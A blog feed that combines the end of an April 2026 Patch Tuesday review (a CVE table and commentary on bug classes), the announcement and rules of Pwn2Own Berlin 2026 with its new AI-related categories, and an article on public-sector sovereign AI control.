CVE-2026-32215	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32217	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32218	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-26169	Windows Kernel Memory Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-27929	Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32071	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-20930	Windows Management Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26162	Windows OLE Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-33101	Windows Print Spooler Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32084	Windows Print Spooler Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-27927	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26184	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32069	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32074	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32078	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26167	Windows Push Notifications Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-32158	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32159	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32160	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26172	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-20928	Windows Recovery Environment Security Feature Bypass Vulnerability	Important	4.6	No	No	SFB
CVE-2026-32216	Windows Redirected Drive Buffering System Denial of Service Vulnerability	Important	5.5	No	No	DoS
CVE-2026-27909	Windows Search Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26161	Windows Sensor Data Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26174	Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32224	Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26154	Windows Server Update Service (WSUS) Tampering Vulnerability	Important	7.5	No	No	Tampering
CVE-2026-26165	Windows Shell Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26166	Windows Shell Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27918	Windows Shell Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32151	Windows Shell Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-32225	Windows Shell Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-32202	Windows Shell Spoofing Vulnerability	Important	4.3	No	No	Spoofing
CVE-2026-32082	Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32083	Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32068	Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32183	Windows Snipping Tool Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32089	Windows Speech Brokered Api Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32090	Windows Speech Brokered Api Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32153	Windows Speech Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27907	Windows Storage Spaces Controller Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32076	Windows Storage Spaces Controller Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27908	Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27921	Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27915	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27919	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32075	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27916	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27920	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32077	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27925	Windows UPnP Device Host Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-32156	Windows UPnP Device Host Remote Code Execution Vulnerability	Important	7.4	No	No	RCE
CVE-2026-32223	Windows USB Printing Stack (usbprint.sys) Elevation of Privilege Vulnerability	Important	6.8	No	No	EoP
CVE-2026-32165	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27911	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32163	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32164	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23670	Windows Virtualization-Based Security (VBS) Security Feature Bypass Vulnerability	Important	5.7	No	No	SFB
CVE-2026-27917	Windows WFP NDIS Lightweight Filter Driver (wfplwfs.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32080	Windows WalletService Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32222	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21637 *	HackerOne: CVE-2026-21637 TLS PSK/ALPN Callback Exceptions Bypass Error Handlers	Moderate	7.5	No	No	SFB
CVE-2026-33119	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Moderate	5.4	No	No	Spoofing
CVE-2026-33829	Windows Snipping Tool Spoofing Vulnerability	Moderate	4.3	No	No	Spoofing
CVE-2026-5858 *	Chromium: CVE-2026-5858 Heap buffer overflow in WebML	Critical	N/A	No	No	RCE
CVE-2026-5859 *	Chromium: CVE-2026-5859 Integer overflow in WebML	Critical	N/A	No	No	RCE
CVE-2026-5272 *	Chromium: CVE-2026-5272 Heap buffer overflow in GPU	High	N/A	No	No	RCE
CVE-2026-5273 *	Chromium: CVE-2026-5273 Use after free in CSS	High	N/A	No	No	RCE
CVE-2026-5274 *	Chromium: CVE-2026-5274 Integer overflow in Codecs	High	N/A	No	No	RCE
CVE-2026-5275 *	Chromium: CVE-2026-5275 Heap buffer overflow in ANGLE	High	N/A	No	No	RCE
CVE-2026-5276 *	Chromium: CVE-2026-5276 Insufficient policy enforcement in WebUSB	High	N/A	No	No	SFB
CVE-2026-5277 *	Chromium: CVE-2026-5277 Integer overflow in ANGLE	High	N/A	No	No	RCE
CVE-2026-5279 *	Chromium: CVE-2026-5279 Object corruption in V8	High	N/A	No	No	RCE
CVE-2026-5280 *	Chromium: CVE-2026-5280 Use after free in WebCodecs	High	N/A	No	No	RCE
CVE-2026-5283 *	Chromium: CVE-2026-5283 Inappropriate implementation in ANGLE	High	N/A	No	No	SFB
CVE-2026-5284 *	Chromium: CVE-2026-5284 Use after free in Dawn	High	N/A	No	No	RCE
CVE-2026-5285 *	Chromium: CVE-2026-5285 Use after free in WebGL	High	N/A	No	No	RCE
CVE-2026-5286 *	Chromium: CVE-2026-5286 Use after free in Dawn	High	N/A	No	No	RCE
CVE-2026-5287 *	Chromium: CVE-2026-5287 Use after free in PDF	High	N/A	No	No	RCE
CVE-2026-5289 *	Chromium: CVE-2026-5289 Use after free in Navigation	High	N/A	No	No	RCE
CVE-2026-5290 *	Chromium: CVE-2026-5290 Use after free in Compositing	High	N/A	No	No	RCE
CVE-2026-5860 *	Chromium: CVE-2026-5860 Use after free in WebRTC	High	N/A	No	No	RCE
CVE-2026-5861 *	Chromium: CVE-2026-5861 Use after free in V8	High	N/A	No	No	RCE
CVE-2026-5862 *	Chromium: CVE-2026-5862 Inappropriate implementation in V8	High	N/A	No	No	SFB
CVE-2026-5863 *	Chromium: CVE-2026-5863 Inappropriate implementation in V8	High	N/A	No	No	SFB
CVE-2026-5864 *	Chromium: CVE-2026-5864 Heap buffer overflow in WebAudio	High	N/A	No	No	RCE
CVE-2026-5865 *	Chromium: CVE-2026-5865 Type Confusion in V8	High	N/A	No	No	RCE
CVE-2026-5866 *	Chromium: CVE-2026-5866 Use after free in Media	High	N/A	No	No	RCE
CVE-2026-5867 *	Chromium: CVE-2026-5867 Heap buffer overflow in WebML	High	N/A	No	No	RCE
CVE-2026-5868 *	Chromium: CVE-2026-5868 Heap buffer overflow in ANGLE	High	N/A	No	No	RCE
CVE-2026-5869 *	Chromium: CVE-2026-5869 Heap buffer overflow in WebML	High	N/A	No	No	RCE
CVE-2026-5870 *	Chromium: CVE-2026-5870 Integer overflow in Skia	High	N/A	No	No	RCE
CVE-2026-5871 *	Chromium: CVE-2026-5871 Type Confusion in V8	High	N/A	No	No	RCE
CVE-2026-5872 *	Chromium: CVE-2026-5872 Use after free in Blink	High	N/A	No	No	RCE
CVE-2026-5873 *	Chromium: CVE-2026-5873 Out of bounds read and write in V8	High	N/A	No	No	RCE
CVE-2026-5291 *	Chromium: CVE-2026-5291 Inappropriate implementation in WebGL	Medium	N/A	No	No	SFB
CVE-2026-5292 *	Chromium: CVE-2026-5292 Out of bounds read in WebCodecs	Medium	N/A	No	No	Info
CVE-2026-5874 *	Chromium: CVE-2026-5874 Use after free in PrivateAI	Medium	N/A	No	No	RCE
CVE-2026-5875 *	Chromium: CVE-2026-5875 Policy bypass in Blink	Medium	N/A	No	No	SFB
CVE-2026-5876 *	Chromium: CVE-2026-5876 Side-channel information leakage in Navigation	Medium	N/A	No	No	Info
CVE-2026-5877 *	Chromium: CVE-2026-5877 Use after free in Navigation	Medium	N/A	No	No	RCE
CVE-2026-5878 *	Chromium: CVE-2026-5878 Incorrect security UI in Blink	Medium	N/A	No	No	Spoofing
CVE-2026-5879 *	Chromium: CVE-2026-5879 Insufficient validation of untrusted input in ANGLE	Medium	N/A	No	No	SFB
CVE-2026-5880 *	Chromium: CVE-2026-5880 Incorrect security UI in browser UI	Medium	N/A	No	No	Spoofing
CVE-2026-5881 *	Chromium: CVE-2026-5881 Policy bypass in LocalNetworkAccess	Medium	N/A	No	No	SFB
CVE-2026-5882 *	Chromium: CVE-2026-5882 Incorrect security UI in Fullscreen	Medium	N/A	No	No	Spoofing
CVE-2026-5883 *	Chromium: CVE-2026-5883 Use after free in Media	Medium	N/A	No	No	RCE
CVE-2026-5884 *	Chromium: CVE-2026-5884 Insufficient validation of untrusted input in Media	Medium	N/A	No	No	SFB
CVE-2026-5885 *	Chromium: CVE-2026-5885 Insufficient validation of untrusted input in WebML	Medium	N/A	No	No	SFB
CVE-2026-5886 *	Chromium: CVE-2026-5886 Out of bounds read in WebAudio	Medium	N/A	No	No	Info
CVE-2026-5887 *	Chromium: CVE-2026-5887 Insufficient validation of untrusted input in Downloads	Medium	N/A	No	No	SFB
CVE-2026-5888 *	Chromium: CVE-2026-5888 Uninitialized Use in WebCodecs	Medium	N/A	No	No	RCE
CVE-2026-5889 *	Chromium: CVE-2026-5889 Cryptographic Flaw in PDFium	Medium	N/A	No	No	SFB
CVE-2026-5890 *	Chromium: CVE-2026-5890 Race in WebCodecs	Medium	N/A	No	No	RCE
CVE-2026-5891 *	Chromium: CVE-2026-5891 Insufficient policy enforcement in browser UI	Medium	N/A	No	No	SFB
CVE-2026-5892 *	Chromium: CVE-2026-5892 Insufficient policy enforcement in PWAs	Medium	N/A	No	No	SFB
CVE-2026-5893 *	Chromium: CVE-2026-5893 Race in V8	Medium	N/A	No	No	RCE
CVE-2026-5894 *	Chromium: CVE-2026-5894 Inappropriate implementation in PDF	Low	N/A	No	No	SFB
CVE-2026-5895 *	Chromium: CVE-2026-5895 Incorrect security UI in Omnibox	Low	N/A	No	No	Spoofing
CVE-2026-5896 *	Chromium: CVE-2026-5896 Policy bypass in Audio	Low	N/A	No	No	SFB
CVE-2026-5897 *	Chromium: CVE-2026-5897 Incorrect security UI in Downloads	Low	N/A	No	No	Spoofing
CVE-2026-5898 *	Chromium: CVE-2026-5898 Incorrect security UI in Omnibox	Low	N/A	No	No	Spoofing
CVE-2026-5899 *	Chromium: CVE-2026-5899 Incorrect security UI in History Navigation	Low	N/A	No	No	Spoofing
CVE-2026-5900 *	Chromium: CVE-2026-5900 Policy bypass in Downloads	Low	N/A	No	No	SFB
CVE-2026-5901 *	Chromium: CVE-2026-5901 Policy bypass in DevTools	Low	N/A	No	No	SFB
CVE-2026-5902 *	Chromium: CVE-2026-5902 Race in Media	Low	N/A	No	No	RCE
CVE-2026-5903 *	Chromium: CVE-2026-5903 Policy bypass in IFrameSandbox	Low	N/A	No	No	SFB
CVE-2026-5904 *	Chromium: CVE-2026-5904 Use after free in V8	Low	N/A	No	No	RCE
CVE-2026-5905 *	Chromium: CVE-2026-5905 Incorrect security UI in Permissions	Low	N/A	No	No	Spoofing
CVE-2026-5906 *	Chromium: CVE-2026-5906 Incorrect security UI in Omnibox	Low	N/A	No	No	Spoofing
CVE-2026-5907 *	Chromium: CVE-2026-5907 Insufficient data validation in Media	Low	N/A	No	No	SFB
CVE-2026-5908 *	Chromium: CVE-2026-5908 Integer overflow in Media	Low	N/A	No	No	RCE
CVE-2026-5909 *	Chromium: CVE-2026-5909 Integer overflow in Media	Low	N/A	No	No	RCE
CVE-2026-5910 *	Chromium: CVE-2026-5910 Integer overflow in Media	Low	N/A	No	No	RCE
CVE-2026-5911 *	Chromium: CVE-2026-5911 Policy bypass in ServiceWorkers	Low	N/A	No	No	SFB
CVE-2026-5912 *	Chromium: CVE-2026-5912 Integer overflow in WebRTC	Low	N/A	No	No	RCE
CVE-2026-5913 *	Chromium: CVE-2026-5913 Out of bounds read in Blink	Low	N/A	No	No	Info
CVE-2026-5914 *	Chromium: CVE-2026-5914 Type Confusion in CSS	Low	N/A	No	No	RCE
CVE-2026-5915 *	Chromium: CVE-2026-5915 Insufficient validation of untrusted input in WebML	Low	N/A	No	No	SFB
CVE-2026-5918 *	Chromium: CVE-2026-5918 Inappropriate implementation in Navigation	Low	N/A	No	No	SFB
CVE-2026-5919 *	Chromium: CVE-2026-5919 Insufficient validation of untrusted input in WebSockets	Low	N/A	No	No	SFB
CVE-2026-33118	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Low	4.3	No	No	Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Looking at the other Critical-rated bugs in this month’s release, there are three Office-related bugs where the Preview Pane is once again listed as an exploit vector. I would still like to have a full-proof way of disabling the Preview Pane, but I don’t see that as an option. There’s a bug in the RDP client, but that involves connecting to a malicious RDP server. The bug in Active Directory requires authentication and a network adjacent attacker. The final Critical-rated bug is an interesting DoS in .NET Framework. An unauthenticated attacker could deny service over a network – presumably crippling any affected app made in .NET. You rarely see Critical-rated DoS bugs, but this one deserves the moniker.

Moving on to the other code execution bugs, you have quite a few open-and-own bugs in Office components, most notably Excel, where the Preview Pane is not an attack vector. The bug in SQL Server requires authentication, and as usual, additional steps are needed to ensure you have the correct update to remediate this vulnerability. The two bugs in Hyper-V almost reads like a privilege escalation since it allows unauthorized attackers to execute code locally. That’s the same for the bugs in the Windows Snipping Tool and the UPnP Device host.

More than half of this release addresses Elevation of Privilege (EoP) bugs. However, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. The bugs in SQL Server could allow an attacker to gain SQL sysadmin privileges. One of the kernel bugs simply states an attacker could “elevate privileges locally”. How obtuse. That’s similar for the bug in afd.sys and Desktop Windows Manager, but Microsoft also states that these bugs could crash an affected system. There are several bugs that result in a sandbox escape, including Windows Push Notifications, AFD for Winsock, Management Services, and User Interface Core. Of these, CVE-2026-26167 (Push Notifications) is the most notable — it's the only one with low attack complexity, meaning no race condition needed. The rest all require winning a race condition (AC:H). The bugs in UPnP are interesting as they allow attackers to gain access to a limited set of administrator-protected objects. Not a full escalation but definitely getting access to resources they shouldn’t. The vulnerability in the Brokering File System allows attackers to gain the level of the logged on user, so don’t do your normal activities as a user with admin privileges. The bug in Azure Monitor Agent leads to root-level access.

There are a dozen different security features bypass bugs in the April release. Some of these are obvious by the title alone. For example, the bugs in Windows Hello bypass safety features within the Hello app itself. The bug in the Biometric Service allows attackers to bypass biometric protections. The vulns in BitLocker and Secure Boot bypass protections in those components. The bug in Power Apps allows attackers to bypass a security warning dialog and trick targets into triggering an external protocol call that performs unintended actions on the user’s device. The bug in Windows Shell allows attackers to bypass Mark of the Web (MotW) protections. The bug in PowerShell could almost be described as a code execution bug as exploiting it bypasses dynamic-expression security checks, which could result in code execution. The vulnerability in the Windows Recovery Environment allows local attackers to bypass BitLocker device encryption. Finally, the bug in Virtualization‑Based Security (VBS) is the most interesting of the bunch – and not just because VBS is a (relatively) new feature. The problem allows attackers to manipulate allow a compromised Windows kernel to modify memory belonging to the secure kernel, breaking the intended isolation guarantees provided by VBS. Somewhat of a sandbox escape, but this time, you’re escaping from Virtual Trust Level 0 (VTL0) to Virtual Trust Level 1 (VTL1). Neat.

Moving on to the Information Disclosure bugs fixed this month, we have 20 different CVEs. Fortunately, most of these simply result in info leaks consisting of unspecified memory contents or memory addresses. While useful in crafting exploits, they aren’t exactly exciting on their own. There are also several bugs that disclose addresses from an object a contained in a sandboxed execution environment. This includes bugs in the Print Spooler, Package Catalog, and Web Account Manager. The bug in Dynamics 365 discloses the ever ineffable “sensitive information”. There are three different info disclosure bugs in UPnP. Two allow an attacker to read from the file system, while the third discloses anything available to the LOCAL SERVICE account. The final info disclosure bug resides in Copilot and Visual Studio and allows attackers to disclose the contents of the Model Context Protocol (MCP) when using Copilot. There are those who think MCP is dead (thanks to agentic AI agents), but if you’re using a custom MCP, I doubt you would want it leaked.

The April release contains just a handful of Spoofing bugs. Some, like the bugs in .NET, Active Directory, and Windows Shell, just say that they allow spoofing over a network. Others, like the bug in Windows Snipping Tool, say similar but also note that it could be used to relay NTLMv2 hashes. The patch for RDP notes that there are new warning dialogs coming this month. The bug in the Windows Admin Center would allow an attacker to interact with other tenant’s applications and content. Finally, the spoofing bug in SharePoint is another XSS issue.

There are eight DoS bugs in the April release, but as always, Microsoft provides no actionable information about the vulnerabilities. Microsoft does offer a mitigation for the http.sys bug that can be applied while you test and deploy the patch, but I would rely on the patch rather than the mitigation. Another exception is the bug for Connected User Experiences and Telemetry Service, which allows attackers to deny service locally rather than over the network.

The final(!) bug in the April release is a Tampering bug in WSUS that reads like a DoS. According to Microsoft, “An attacker can send specially crafted packets which could affect availability of the service and result in Denial of Service (DoS).” But sure – let’s call it Tampering.

No new advisories are being released this month.

Looking Ahead

I will be in Berlin for the next Patch Tuesday, which will be May 12, and I’ll provide my full thoughts then on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

Announcing Pwn2Own Berlin for 2026

Sat, 25 Jul 2026 19:00:42 +0200

If you just want to read the contest rules, click here.

Willkommen zurück, meine Damen und Herren, zu unserem zweiten Wettbewerb in Berlin! That’s correct (if Google translate didn’t steer me wrong). After our inaugural competition last year, Pwn2Own returns to Berlin and OffensiveCon. Outside of our shipping troubles, we had an amazing time and can’t wait to get back.

Last year, we added Artificial Intelligence as a category with great results. This year, we’re expanding this and splitting it into multiple different categories: AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products. In last year’s contest, NVIDIA targets had wins, losses, and collisions, so it will be interesting to see how they fare this year. The folks from AWS wanted to get into the fray as well, so they stepped up to co-sponsor this year’s event, which allows us to increase the reward for bugs in Firecracker. Of course, we have all of the returning categories as well, including web browsers, containers, servers, virtualization, and operating systems. There’s more than $1,000,000 in cash and prizes available for contestants. Last year, we awarded $1,078,750 for 28 unique 0-days over the three-day event. We’ll see if we can eclipse those numbers in 2026.

The contest begins on May 14, but registration closes on May 7, so don’t delay in getting those submissions in. We’re hoping for maximum participation, so set aside your vibe coding and show us what you can really do. We’re looking forward to some cutting-edge exploitation on display. For 2026, we have a total of 31 targets across 10 categories. Here is a full list of the categories for this year’s event:

-- Virtualization
-- Web Browser
-- Enterprise Applications
-- Servers
-- Local Escalation of Privilege
-- Containers
-- AI Database
-- Coding Agents
-- Local Inference
-- NVIDIA

Of course, no Pwn2Own competition would be complete without us crowning a Master of Pwn (Meister von Pwn?). Since the order of the contest is decided by a random draw, contestants with an unlucky draw could still demonstrate fantastic research but receive less money since subsequent rounds go down in value. However, the points awarded for each unique, successful entry do not go down. Someone could have a bad draw and still accumulate the most points. The person or team with the most points at the end of the contest will be crowned Master of Pwn, receive 65,000 ZDI reward points (enough for Platinum status), a killer trophy, and a pretty snazzy jacket to boot.

Let's look at the details of the rules for this year's event.

Virtualization Category

Some of the highlights for each contest can be found in the Virtualization Category, and we’re thrilled to see what this year’s event could bring with it. As usual, VMware is the main highlight of this category as we’ll have VMware ESXi return with an award of $150,000. Last year produced the first ESXi exploits in Pwn2Own history, so it will be interesting to see if we get more. Microsoft also returns as a target and leads the virtualization category with a $250,000 award for a successful Hyper-V Client guest-to-host escalation. Kernel-based Virtual Machine (KVM) is our final target in this category with a prize of $50,000.

There’s an add-on bonus in this category as well. If a contestant can escape the guest OS, then gain arbitrary code execution on the virtualization target and obtain arbitrary code execution in the guest operating system on a separate virtual machine managed by the same targeted virtualization target, they’ll earn another $50,000. That could push the payout on a ESXi bug to $200,000. This bonus is for KVM and ESXi only. Here’s a detailed look at the targets and available payouts in the Virtualization category:

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Web Browser Category

While browsers are the “traditional” Pwn2Own target, we’re continuously tweaking the targets in this category to ensure they remain relevant. We re-introduced renderer-only exploits a couple of years ago, and this year, we’ve increased the award to $75,000. In fact, we’ve increased the awards across the board for this category. Here’s a detailed look at the targets and available payouts:

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Enterprise Applications Category

Enterprise applications return as targets with Adobe Reader and various Office components on the target list once again. Attempts in this category must be launched from the target under test. For example, launching the target under test from the command line is not allowed. Prizes in this category run from $50,000 for a Reader exploit with a sandbox escape or a Reader exploit with a kernel privilege escalation, and $150,000 for an Office 365 application. Word, Excel, and PowerPoint are all valid targets. Microsoft Office-based targets will have Protected View enabled where applicable. Adobe Reader will have Protected Mode enabled where applicable.

This year, we’re adding a bonus for Copilot data exfiltration and Copilot action execution. Microsoft just patched a bug like this in Excel, so we know they are out there. If you’re able to exploit Copilot in addition to a Microsoft application, you’ll earn an additional $50,000. There are quite a few rules and scenarios around this add-on, so be sure to read the rules carefully and contact us with questions. Here’s a detailed view of the targets and payouts in the Enterprise Application category:

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The Server Category

The Server Category for 2026 focuses solely on the server components we’re most interested in. These servers are often targeted by everyone from ransomware crews to nation/state actors, so we know there are exploits out there for them. The only question is whether we’ll see any of the competitors bring one of those exploits to Pwn2Own. Last year, the bugs demonstrated in SharePoint ended up being exploited in the wild, so we know people are looking for these with great interest. Microsoft Exchange has been a popular target for some time, and it returns as a target this year as well, with a payout of $200,000. This category is rounded out by Microsoft Windows RDP/RDS, which also has a payout of $200,000. Here’s a detailed look at the targets and payouts in the Server category:

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Local Escalation of Privilege Category

This category is a classic for Pwn2Own and focuses on attacks that originate from a standard user and result in executing code as a high-privileged user. A successful entry in this category must leverage a kernel vulnerability to escalate privileges. Red Hat Enterprise Linux for Workstations returns as our Linux-based target, while Apple macOS, and Microsoft Windows 11 return as targets in this category. Prior exploits in this category have won Pwnie awards, so they’re always interesting to see. Here’s a detailed look at the targets and payouts in this category:

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The Container Category

We’re excited to have this category return for its third season, and we’re hopeful that even more contestants will target one of these container targets. For an attempt to be ruled a success against these three, the exploit must be launched from within the guest container/microVM and execute arbitrary code on the host operating system. Again, with help from AWS, Firecracker returns as a target with a prize of $100,000. Here are the targets and payouts for this category:

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AI Database Category

In the past, AI Hackathons have focused on using AI to develop vulnerabilities or other offensive frameworks. We’re opening up the models and various components themselves for exploitation. The first AI sub-category focuses on databases. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Database category:

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The Coding Agent Category

Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a new category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:

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The Local Inference Category

We couldn’t leave local inference and LLMs out of Pwn2Own. These products claim to provide enhanced data privacy, zero-cost inference, lower latency, and fully offline functionality. We’ll see how the security stacks up. An attempt in this category must be launched from the contestant’s laptop within the contest network. Here are the targets and payouts for the Local Inference category:

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The NVIDIA Category

Our last AI sub-category focuses solely on NVIDIA products. For network accessible targets, an attempt must be launched from the contestant's laptop within the contest network. For NV Container Toolkit, the attempt must be launched from within a crafted container image and execute arbitrary code on the host operating system. For Megatron Bridge, entries that leverage vulnerabilities pertaining to pickle deserialization or that leverage a vulnerability when “trust_remote_code=true” are out of scope. Here are the targets and payouts for the NVIDIA category:

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Conclusion

The complete rules for Pwn2Own Berlin 2026 are found here. As always, we highly encourage entrants to read the rules thoroughly if they choose to participate. If you are thinking about participating but have specific configuration or rule-related questions, email us. Questions asked over X (nee Twitter), BlueSky, or other means will not be answered. Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at pwn2own@trendmicro.com to begin the registration process. Registration for onsite participation closes at 5 p.m. Central European Time on May 7, 2026.

Be sure to stay tuned to this blog and follow us on Twitter, Mastodon, LinkedIn, or Bluesky for the latest information and updates about the contest. We look forward to seeing everyone in Germany, and we hope to see some of the best in the world show what they can do – vibe coded or not.

With special thanks to our Pwn2Own Berlin 2026 partners AWS, for providing their expertise and technology.

© 2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, ZERO DAY INITIATIVE, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.

On AI Ethics: Why Prompt Engineering Needs a Moral Compass

Sat, 25 Jul 2026 18:57:45 +0200

In this first of a three-part series, we look at why “working as designed” is no longer good enough for enterprise AI or cybersecurity pros.

Sovereign AI has become the public-sector CIO’s control problem

Sat, 25 Jul 2026 18:57:42 +0200

In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.

They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a January 2026 Tony Blair Institute analysis, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?

The 5 layers of public-sector control

For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:

Data control: Where sensitive public data sits, and whether it can train a vendor’s model.
Model control: Which models clear which workloads, and under what validation.
Infrastructure control: Whether critical workloads run in approved environments.
Operational control: Whether AI-assisted actions are logged, monitored and reversible.
Vendor control: Whether the agency keeps portability, audit rights and a real exit.

Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “AI without sovereignty is just outsourced intelligence”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.

Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.

Evaluating risk: Concentration, jurisdiction and shadow AI

Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is. Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update crashed about 8.5 million Windows machines, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.

The second is jurisdiction. In June 2025, Microsoft’s legal director for France told a Senate inquiry, under oath, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold about 70% of the European cloud market, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.

